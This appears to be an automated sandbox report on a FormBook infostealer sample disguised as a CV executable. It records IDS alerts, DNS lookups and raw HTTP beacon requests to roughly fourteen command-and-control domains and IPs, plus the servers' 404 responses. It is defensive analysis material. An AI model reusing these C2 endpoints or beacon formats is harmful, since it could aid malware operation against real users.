Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50045 -> 172.67.168.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50032 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50046 -> 172.67.168.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49965 -> 8.210.46.21:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50034 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50043 -> 172.67.168.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50004 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50035 -> 147.255.21.187:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49880 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50049 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50033 -> 13.248.169.48:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.fortevision.xyz
Source:	DNS query: www.rtpterbaruwaktu3.xyz
Source:	DNS query: www.rtpterbaruwaktu3.xyz
Source:	DNS query: www.tals.xyz

Source: Joe Sandbox View	IP Address: 203.161.43.228 203.161.43.228
Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48

Source: Joe Sandbox View	ASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003D4EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_003D4EB5

Source: global traffic	HTTP traffic detected: GET /wu6o/?3vNdCBvX=PAJ2EBywaoPRtAOAuLkHmGqEo3O5GOPxYR74cZ8tmddFXtcUCShy8K9wuzURMr8ccmGJKuqH2xFlcoIZXBvtCvBZNCCQMFI+vTFboLP2ZRmMaANZD1baSXk=&etx=BXy4elO0X HTTP/1.1Host: www.grandesofertas.funAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /z9pi/?3vNdCBvX=ied+cptg7UakpzhOx9uXTlAGHDuhbT7ej64IZr/ehzcWgm5THakcORsiVprqoW37b/eRnRq1Qh5X/LbXYJipvFkLuNeVdA8j2seJJxWGnVEyQ8hCuTv0uPE=&etx=BXy4elO0X HTTP/1.1Host: www.jijievo.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /8qt7/?3vNdCBvX=FpCuTMU+yGtduI5SdGSwoaTqY2YvqsELSpRJwwRFNKDd6qo9VMAnWwDYglhkdC4Vi65aP7UQN4CBUilkwxZXjJlaW2N0MrSdIjCq1nBCaRQTsV/7KTtyEyY=&etx=BXy4elO0X HTTP/1.1Host: www.ytsd88.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /mlxg/?3vNdCBvX=cQzZIkxePH03UbtTShzK+VL4o2HqQJS38l8io/jKjoXZ1YEXRx5ntf5pTkNOcA/fsinJED0Fc0Ua6QV4aMGrbeJFZzqSBCnp1w20sGwly8q3n1+yWGeN50w=&etx=BXy4elO0X HTTP/1.1Host: www.bpgroup.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /dash/?etx=BXy4elO0X&3vNdCBvX=YMHBudoHIUxH+uWIVKjvQ5iF9tPwkJokcjAI4kujT8yqZMh8PwdCYhUcXF8Hm7NuwJrkm81K0kAXhGwUtx1Q0LUsa6Gef/JbuNbn4M13wkoCvJOzh8OnTqA= HTTP/1.1Host: www.fortevision.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /mv7p/?3vNdCBvX=5Xkb80UCbQYKeySKU05ZgY0hyXkWVD4R8td5rEUSu2Sur2yiMTlgkW/d3b9rVTV1/KKKFkoFavUE13Uu3OCOGKEDCrVhSay3c3WH5ydFiaohW8mA4vlt7iA=&etx=BXy4elO0X HTTP/1.1Host: www.rtpterbaruwaktu3.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /cm9a/?etx=BXy4elO0X&3vNdCBvX=AvN42DnS9Qw3kn1S+XKBV+xTI9DBYK88wu7Mj7dY/pRaa7659YJNcYiJunyE7nDkkRGZb81LCaJ1YXfnfuSvqBbKt/3mV1eMDkmtL8V6ExRSF03F7PAG84A= HTTP/1.1Host: www.prhmcjdz.tokyoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /6urf/?3vNdCBvX=l+g0G83zvX30P9FiLKUhk1gZnSMwjxKGmxU2wY32UHo7SRAzM3NVc5Nn4wkj2AVHW/hBkkPychobZjIg4/uR6e8+1gk4cvE7j0i5NK3NPPZTmYTXI7istro=&etx=BXy4elO0X HTTP/1.1Host: www.connecty.liveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /cpgr/?3vNdCBvX=yUPZw4O96lKRgUDhHw42lX6F/Rxn05lUVr3HqoHreXe2a6Vc78U2VxoX4VUOXe2AKNSXv9msRJ2q39Y75lzjFijspiVTtXDCDHBic1mdKVGnCgRAN7vlfYA=&etx=BXy4elO0X HTTP/1.1Host: www.tals.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /u9hy/?3vNdCBvX=WqQro+xdjTeJIlGwaHeXAa2bD6tPyTI49rKxVxpmjgGfbhgcY6AAEIO8u8GwbvTJPVNB3UOdkxCDRvWF6atxIpJrNQCfkQktXm0b+9FyofxiDukpHyXFoA4=&etx=BXy4elO0X HTTP/1.1Host: www.50food.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /f8c6/?3vNdCBvX=qZLxeIvUMpnHejM+2fTaZNrv2WO4y9kWVFIDlZeaKgP5Xe4TtN4Ku6PXk96ANpScY+aAYV4Nd0GQ4lG6LSWgsy7m2PREgKHVMtzZClnOVsBz8/E/4iFHS34=&etx=BXy4elO0X HTTP/1.1Host: www.zriaraem-skiry.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /gb2h/?3vNdCBvX=EASy0dFQ3+mIcpYj5hhEpzGwaoMP7Xj9wz6GDDYkBoOZntt4ETpAdTcmLSDA/l8Pq56TjzGqLUU3SQIDrjgXHLAts09AmDfBZWK+en/xOBIa/+jQwvZyXLY=&etx=BXy4elO0X HTTP/1.1Host: www.nmgzjwh.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /gdvz/?3vNdCBvX=42oDQZKHBS2RpvFPN57q1Tvu2doBJ10tXRowK0Gqt433jWsXILGJddh+nwwRXUDcpHF9qTVEG6VDXm2WV9OicxtKtIH3MbSxhASop5ADKNulvt1+Wm0v0/w=&etx=BXy4elO0X HTTP/1.1Host: www.sklad-iq.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.grandesofertas.fun
Source: global traffic	DNS traffic detected: DNS query: www.jijievo.site
Source: global traffic	DNS traffic detected: DNS query: www.ytsd88.top
Source: global traffic	DNS traffic detected: DNS query: www.bpgroup.site
Source: global traffic	DNS traffic detected: DNS query: www.fortevision.xyz
Source: global traffic	DNS traffic detected: DNS query: www.rtpterbaruwaktu3.xyz
Source: global traffic	DNS traffic detected: DNS query: www.prhmcjdz.tokyo
Source: global traffic	DNS traffic detected: DNS query: www.connecty.live
Source: global traffic	DNS traffic detected: DNS query: www.tals.xyz
Source: global traffic	DNS traffic detected: DNS query: www.50food.com
Source: global traffic	DNS traffic detected: DNS query: www.zriaraem-skiry.sbs
Source: global traffic	DNS traffic detected: DNS query: www.nmgzjwh.net
Source: global traffic	DNS traffic detected: DNS query: www.sklad-iq.online
Source: global traffic	DNS traffic detected: DNS query: www.supernutra01.online

Source: unknown

HTTP traffic detected: POST /z9pi/ HTTP/1.1Host: www.jijievo.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateOrigin: http://www.jijievo.siteReferer: http://www.jijievo.site/z9pi/Content-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheContent-Length: 205User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36Data Raw: 33 76 4e 64 43 42 76 58 3d 76 63 31 65 66 5a 42 79 79 30 2f 47 72 68 6b 42 67 61 47 34 56 69 67 46 54 47 62 34 4d 44 66 62 6c 4c 51 31 58 4c 62 41 31 42 64 30 75 67 74 72 49 37 45 34 53 78 6b 69 44 50 79 73 6c 6c 2f 4c 43 75 54 72 73 6d 43 51 66 52 78 6a 35 4f 54 74 46 2b 66 30 69 41 55 6b 6f 2f 48 7a 63 52 4a 6a 33 49 4f 62 4d 53 7a 59 6c 45 34 46 57 2b 67 48 67 77 33 63 68 50 43 6d 48 52 53 6d 32 77 68 34 4b 48 30 72 64 6e 49 69 76 6c 2b 34 55 2b 33 70 31 73 71 6d 66 35 77 6d 4e 63 76 57 36 4e 64 61 64 30 42 77 37 65 79 68 4c 48 58 78 32 76 54 77 41 37 47 6a 32 61 37 57 56 6f 48 44 6f 70 46 42 38 67 3d 3d Data Ascii: 3vNdCBvX=vc1efZByy0/GrhkBgaG4VigFTGb4MDfblLQ1XLbA1Bd0ugtrI7E4SxkiDPysll/LCuTrsmCQfRxj5OTtF+f0iAUko/HzcRJj3IObMSzYlE4FW+gHgw3chPCmHRSm2wh4KH0rdnIivl+4U+3p1sqmf5wmNcvW6Ndad0Bw7eyhLHXx2vTwA7Gj2a7WVoHDopFB8g==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 24 Nov 2024 07:10:24 GMTContent-Type: text/htmlContent-Length: 409Connection: closeETag: "66d016cf-199"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 74 79 6c 65 3e 0a 09 2e 62 74 6c 69 6e 6b 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 32 30 61 35 33 61 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 22 20 3e 50 6f 77 65 72 20 62 79 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 74 2e 63 6e 2f 3f 66 72 6f 6d 3d 34 30 34 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e e5 a0 a1 e5 a1 94 20 28 e5 85 8d e8 b4 b9 ef bc 8c e9 ab 98 e6 95 88 e5 92 8c e5 ae 89 e5 85 a8 e7 9a 84 e6 89 98 e7 ae a1 e6 8e a7 e5 88 b6 e9 9d a2 e6 9d bf 29 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><style>.btlink {color: #20a53a;text-decoration: none;}</style><meta charset="UTF-8"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><div style="text-align: center;font-size: 15px" >Power by <a class="btlink" href="https://www.bt.cn/?from=404" target="_blank"> ()</a></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 24 Nov 2024 07:10:27 GMTContent-Type: text/htmlContent-Length: 409Connection: closeETag: "66d016cf-199"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 74 79 6c 65 3e 0a 09 2e 62 74 6c 69 6e 6b 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 32 30 61 35 33 61 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 22 20 3e 50 6f 77 65 72 20 62 79 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 74 2e 63 6e 2f 3f 66 72 6f 6d 3d 34 30 34 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e e5 a0 a1 e5 a1 94 20 28 e5 85 8d e8 b4 b9 ef bc 8c e9 ab 98 e6 95 88 e5 92 8c e5 ae 89 e5 85 a8 e7 9a 84 e6 89 98 e7 ae a1 e6 8e a7 e5 88 b6 e9 9d a2 e6 9d bf 29 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><style>.btlink {color: #20a53a;text-decoration: none;}</style><meta charset="UTF-8"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><div style="text-align: center;font-size: 15px" >Power by <a class="btlink" href="https://www.bt.cn/?from=404" target="_blank"> ()</a></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 24 Nov 2024 07:10:29 GMTContent-Type: text/htmlContent-Length: 409Connection: closeETag: "66d016cf-199"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 74 79 6c 65 3e 0a 09 2e 62 74 6c 69 6e 6b 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 32 30 61 35 33 61 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 22 20 3e 50 6f 77 65 72 20 62 79 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 74 2e 63 6e 2f 3f 66 72 6f 6d 3d 34 30 34 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e e5 a0 a1 e5 a1 94 20 28 e5 85 8d e8 b4 b9 ef bc 8c e9 ab 98 e6 95 88 e5 92 8c e5 ae 89 e5 85 a8 e7 9a 84 e6 89 98 e7 ae a1 e6 8e a7 e5 88 b6 e9 9d a2 e6 9d bf 29 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><style>.btlink {color: #20a53a;text-decoration: none;}</style><meta charset="UTF-8"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><div style="text-align: center;font-size: 15px" >Power by <a class="btlink" href="https://www.bt.cn/?from=404" target="_blank"> ()</a></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 24 Nov 2024 07:10:32 GMTContent-Type: text/htmlContent-Length: 409Connection: closeETag: "66d016cf-199"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 73 74 79 6c 65 3e 0a 09 2e 62 74 6c 69 6e 6b 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 32 30 61 35 33 61 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 22 20 3e 50 6f 77 65 72 20 62 79 20 3c 61 20 63 6c 61 73 73 3d 22 62 74 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 74 2e 63 6e 2f 3f 66 72 6f 6d 3d 34 30 34 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e e5 a0 a1 e5 a1 94 20 28 e5 85 8d e8 b4 b9 ef bc 8c e9 ab 98 e6 95 88 e5 92 8c e5 ae 89 e5 85 a8 e7 9a 84 e6 89 98 e7 ae a1 e6 8e a7 e5 88 b6 e9 9d a2 e6 9d bf 29 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><style>.btlink {color: #20a53a;text-decoration: none;}</style><meta charset="UTF-8"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><div style="text-align: center;font-size: 15px" >Power by <a class="btlink" href="https://www.bt.cn/?from=404" target="_blank"> ()</a></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Sun, 24 Nov 2024 07:10:40 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 